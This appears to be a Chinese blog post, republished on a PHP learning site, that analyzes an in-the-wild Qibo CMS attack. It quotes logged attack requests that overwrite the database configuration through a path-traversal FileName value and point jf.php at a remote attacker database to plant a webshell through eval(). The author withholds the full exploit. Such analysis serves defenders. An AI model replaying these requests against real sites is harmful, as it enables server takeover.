来源:自学PHP网 时间:2015-04-17 10:16 作者: 阅读:次
[导读] Blog:http: fuck 0day5 com、http: www fuckgcd net当天晚上,我和妹子决裂了,是的,决裂了,正在我伤心之时,小伙伴告诉我,齐博cms出问题了,才发临时补丁,然后附上了连接http: bbs qibosoft...
Blog:http://fuck.0day5.com、http://www.fuckgcd.net 当天晚上,我和妹子决裂了,是的,决裂了,正在我伤心之时,小伙伴告诉我,齐博cms出问题了,才发临时补丁,然后附上了连接http://bbs.qibosoft.com/read-forum-tid-419640.htm 看到: 哟,说明已经被搞了嘛,然后还有个站长贴出了c.php的代码 解密后看到 密码为FENG
绝逼是有黑阔在批量这个漏洞了,通过百度去采集一下do/c.php这个 然后咱们根据这个读取一下日志分析分析 在十月一号19点5分生成的日志如下: /do/fujsarticle.php?type=like&FileName=../data/mysql_config.php&submit=fuck HTTP/1.1″ 200 26 “-” “-” /do/jf.php?dbuser=getshell&dbhost=xxx.xxx.xxx.xxx&dbpw=shellpwd&dbname=getshell&pre=qb_&dbcharset=gbk&submit=getshell HTTP/1.1″ 200 17985 “-” “-” /do/c.php HTTP/1.1″ 200 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)” 下载源程序下来审计,首先找到/do/fujsarticle.php文件 $FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/"; if($type=='like'){ //只有type=like时候才 $FileName.=floor($id/3000)."/"; }else{ unset($id); }
在其中require_once(dirname(__FILE__).”/global.php”); 可以看到,由于加载了global.php文件,所以前面FileName的get变量再次extract了 所以FIleName可控~ 然后看到/do/jf.php $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list"); while($rs = $db->fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list"); while($rs2 = $db->fetch_array($query2)){ eval("\$rs2[title]=\"$rs2[title]\";"); eval("\$rs2[content]=\"$rs2[content]\";"); $jfDB[$rs[fid]][]=$rs2; } }
看到在fjabout里读取到的title和content都执行了 经过小伙伴们的提点,先使用fujsarticle.php对数据库配置文件data/mysql_config.php进行覆盖,然后再使用远程的数据库内的xx_fjabout内的内容生成了一句话
哈哈,思路就是这个,exp就不发了,因为shell上一个就会破坏数据库,拿一个shell死一个网站
漏洞证明如下(只写了个phpinfo) 在此,谢谢ztz,hellove,maple三位小伙伴的教导~~ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com